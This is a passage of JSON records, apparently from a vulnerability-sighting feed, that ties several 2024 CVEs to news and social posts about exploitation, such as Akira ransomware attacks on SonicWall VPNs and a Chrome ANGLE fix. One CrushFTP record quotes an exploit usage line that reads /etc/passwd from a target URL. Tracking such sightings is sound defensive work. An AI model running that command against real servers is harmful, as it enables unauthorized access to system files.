"da75ced0-cf05-4643-9e79-5edabf6c7d30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://bsky.app/profile/aimainainnu.bsky.social/post/3mnwot34oj22h", "content": "\u4ecf\u653f\u5e9c\u306e\u30e1\u30c3\u30bb\u30fc\u30b8\u30f3\u30b0\u30b5\u30fc\u30d3\u30b9\u300cTchap\u300d\u304c\u30a2\u30ab\u30a6\u30f3\u30c8\u4e57\u3063\u53d6\u308a\u653b\u6483\u3067\u4fb5\u5bb3\u3055\u308c\u308b | Codebook\n\n... \u30a6\u30a7\u30a2\u30b0\u30eb\u30fc\u30d7\u304cVBR\u306e\u91cd\u5927\u306aRCE\u8106\u5f31\u6027\uff08CVE-2024-40711\uff09\u3092\u60aa\u7528\u3002\u91d1\u92ad\u76ee\u7684\u306e\u8105\u5a01\u30b0\u30eb\u30fc\u30d7FIN7\uff08Maze\u3001Egregor\u3001Conti\u3001REvil\u3001BlackBasta\u306e\u5404\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2 ... \ncodebook.machinarecord.com/threatreport...", "creation_timestamp": "2026-06-10T12:15:17.641632Z"}, {"uuid": "a1efb084-f220-43e0-947f-35a28f693e71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/pentestnotes/14", "content": "CVE-2024-4040 CrushFTP  RCE\n*\nCrushFTP \u0432\u043e \u0432\u0441\u0435\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e 10.7.1 \u0438 11.1.0 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0438\u0437 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b VFS, \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430\n*\nUsage:\npython exploit.py -u https://example.com -p /etc/passwd\n*\nExploit\n\n#rce #ftp", "creation_timestamp": "2026-08-06T00:01:00.606415Z"}, {"uuid": "eaa911d7-d4dc-42b2-a36f-81440753e8a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4058", "type": "seen", "source": "https://t.me/linuxkalii/879", "content": "\ud83d\udcbb \u0412 Chrome \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 16000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432\n\n\ud83d\uddc4\u041d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f Chrome 124, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0441\u0440\u0430\u0437\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 CVE-2024-4058 \u0432 ANGLE (Almost Native Graphics Layer Engine).\n\n\ud83d\uddc4\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u00ab\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439\u00bb, \u0438 \u043e\u043d\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0431\u0430\u0433 \u0442\u0438\u043f\u0430 type confusion, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u043f\u043e\u0431\u0435\u0433\u0430 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u043f\u0440\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u043c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438 \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c. \u0421\u0442\u043e\u0438\u0442 \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0433\u043e\u0434\u044b \u043b\u0438\u0448\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Chrome \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0441\u0442\u0430\u0442\u0443\u0441 \u00ab\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445\u00bb.\n\n\ud83d\uddc4Google \u043f\u043e\u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u0438\u043b\u0430 \u0437\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 CVE-2024-4058 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0438\u0437 \u0433\u0440\u0443\u043f\u043f\u044b Qrious Secure. \u0417\u0430 \u0441\u0432\u043e\u0438 \u043d\u0430\u0445\u043e\u0434\u043a\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 16 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432.\n\n\ud83d\uddc4\u0422\u0430\u043a\u0436\u0435 Qrious Secure \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 Google \u0435\u0449\u0435 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u043e \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0432 Chrome: CVE-2024-0517, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430, \u0438 CVE-2024-0223, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u00ab\u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0447\u0435\u0440\u0435\u0437 JavaScript, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 GPU\u00bb. \u041e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0433\u043e\u0434\u0430.\n\n\ud83d\uddc4Google \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e CVE-2024-4058 \u0443\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438. \u041e\u0434\u043d\u0430\u043a\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0435\u0440\u0435\u0434\u043a\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u043e\u0448\u0438\u0431\u043a\u0438 \u0442\u0438\u043f\u0430 confusion, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0432 Chrome, \u0445\u043e\u0442\u044f \u0447\u0430\u0449\u0435 \u0442\u0430\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 JavaScript-\u0434\u0432\u0438\u0436\u043e\u043a V8.\n\n@linuxkalii", "creation_timestamp": "2026-08-06T03:00:04.402302Z"}, {"uuid": "cc8945af-7836-448f-80b1-3e1585bdb0b2", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/74656e08-8ed3-4942-ae48-e5982eabe64c", "content": "", "creation_timestamp": "2026-06-19T12:46:27.602094Z"}, {"uuid": "3874c2c6-3286-4207-9d91-3c96aa00c367", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8f8c7cdd-3ec3-4a63-8704-5aca91b0b6b5", "content": "", "creation_timestamp": "2026-06-19T12:46:40.530466Z"}, {"uuid": "39359317-157e-4f4e-aed8-a0176b99b105", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c817a49a-d8f0-4d4f-a55e-4afdf02188cf", "content": "", "creation_timestamp": "2026-06-19T12:46:27.516923Z"}, {"uuid": "4ad2c5e1-7a92-42ae-8313-b25f19bce9c9", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/fe87d549-070c-4601-91f5-db8a8e353389", "content": "", "creation_timestamp": "2026-06-19T12:46:33.321857Z"}, {"uuid": "8a5bf183-fd6a-46cc-b9b1-f09e076a40c7", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/7b2a8f14-0a9b-40da-9df4-8aa1c33ffc0d", "content": "", "creation_timestamp": "2026-06-19T12:46:35.502473Z"}, {"uuid": "e1d1d8f3-cdd0-42de-ac06-c1b21bfa1bd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40493", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mouia45qes2a", "content": "\ud83d\udccc CVE-2024-40493 - Null Pointer Dereference in `coap_client_exchange_blockwise2` function in Keith Cullen FreeCoAP 1.0 allows remote attackers to cause a denial of servi... https://www.cyberhub.blog/cves/CVE-2024-40493", "creation_timestamp": "2026-06-22T08:37:06.850897Z"}, {"uuid": "152ce4fb-ab80-46cd-9d88-307a0e8f99b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/purp_sec/1160", "content": "\ud83d\udc41 Arctic Wolf \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 Akira \u043d\u0430 SonicWall SSL-VPN\n\n\u0421 \u043a\u043e\u043d\u0446\u0430 \u0438\u044e\u043b\u044f \u043f\u043e 20 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2025 \u0433\u043e\u0434\u0430 Akira \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0430 \u0432\u043e\u043b\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e: \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435/\u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 SSL-VPN \u043b\u043e\u0433\u0438\u043d\u044b \u043a SonicWall, \u0437\u0430\u0442\u0435\u043c \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043c\u0438\u043d\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0442\u0438, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0438 Impacket-stil\u0435 SMB discovery \u0438 \u0431\u044b\u0441\u0442\u0440\u043e \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u043b\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a Akira. \u0412\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u0445 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e \u0432 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u0445 1-2 \u0447\u0430\u0441\u043e\u0432 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u041e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0435\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0441\u0442\u0430\u043b\u043e \u0442\u043e, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e MFA (OTP). Arctic Wolf \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u0432\u0430 \u043f\u0443\u0442\u0438, \u043a\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u044b \u043c\u043e\u0433\u043b\u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043c\u0443\u043b\u044c\u0442\u0438\u0444\u0430\u043a\u0442\u043e\u0440: \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f OTP seed/\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u0431\u043e\u0440 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043a CVE-2024-40766, \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0438\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435. \u0414\u043b\u044f \u0432\u0441\u0435\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0433\u043e \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u043d\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0435 OTP-\u043b\u043e\u0433\u0438\u043d\u044b \u0432 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432.\n\n\u0421\u0432\u044f\u0437\u044c \u0441 CVE-2024-40766 \u2014 \u044d\u0442\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u041a\u043e\u0441\u0432\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0433\u043b\u0430 \u0431\u044b\u0442\u044c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u043b\u043e\u0433\u0438\u043d\u043e\u0432. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043f\u0440\u0438 \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c OTP seeds/secret, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0435 \u043a\u043e\u0434\u044b \u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c MFA.\n\n\ud83d\udd17 \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432 \u043e\u0431\u0437\u043e\u0440\u0435.\n\n#blue_team #Akira", "creation_timestamp": "2026-08-15T00:00:15.293386Z"}, {"uuid": "d2f0284b-78cf-44d3-975c-32bd41b31ee2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/sansisc.bsky.social/post/3mowg64wg5x2r", "content": "CVE-2024-40766: The Patch Fixed the Bug. Nobody Fixed the Configuration. https://isc.sans.edu/diary/33094", "creation_timestamp": "2026-06-23T03:05:33.351980Z"}, {"uuid": "0a024cb1-4cfd-4ba6-bad3-529f74200a2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mowhk7etyd2h", "content": "CVE-2024-40766: The Patch Was Installed The Breach Path Remained Open +\u00a0Video\n\nIntroduction: When Security Updates Create a False Sense of Safety Cybersecurity teams often celebrate after applying a critical patch. Dashboards turn green, vulnerability scanners stop generating alerts, and executives\u2026", "creation_timestamp": "2026-06-23T03:30:12.388004Z"}, {"uuid": "f2bb9019-8461-4433-af35-9647ff61b7e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/ZerodayAlert/365", "content": "CVE-2024-40766: \u043a\u0430\u043a \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u043b\u0430 \u0434\u0432\u0435 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438\n\n\ud83d\udd13 \u0425\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Akira \u0438 Fog \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-40766 \u0432 SonicWall VPN. Arctic Wolf \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 30 \u0430\u0442\u0430\u043a \u0447\u0435\u0440\u0435\u0437 VPN-\u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b SonicWall, \u043f\u0440\u0438\u0447\u0435\u043c 75% \u0438\u0437 \u043d\u0438\u0445 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 Akira.\n\n\u26a1\ufe0f \u0412\u0440\u0435\u043c\u044f \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435\u043c \u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043e\u0442 1,5 \u0434\u043e 10 \u0447\u0430\u0441\u043e\u0432, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043e\u0431\u0449\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u0431\u0438\u0440\u0430\u044e\u0442 \u0441\u0432\u0435\u0436\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u044f \u0444\u0430\u0439\u043b\u044b \u0441\u0442\u0430\u0440\u0448\u0435 6 \u043c\u0435\u0441\u044f\u0446\u0435\u0432.\n\n\ud83d\udee1 \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0430\u0442\u0430\u043a \u0441\u0442\u0430\u043b\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c \u0438\u0437-\u0437\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 SonicOS \u0438 \u043c\u043d\u043e\u0433\u043e\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0425\u0430\u043a\u0435\u0440\u044b \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 VPN \u0438 VPS \u0434\u043b\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0441\u0432\u043e\u0438\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u0447\u0442\u043e \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442 \u0438\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435.\n\n#sonicwall #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a\u0438 #\u0432\u0437\u043b\u043e\u043c\n\n@ZerodayAlert", "creation_timestamp": "2026-08-06T07:00:04.362492Z"}, {"uuid": "ab04d5a6-0eb9-4e06-bed7-afc046b9fd12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3moxh6uchrv24", "content": "\ud83d\udc1b VULNERABILITIES CVE-2024-40766: The Patch Fixed the Bug. Nobody Fixed the Configuration., (Tue, Jun 23rd) \u2014 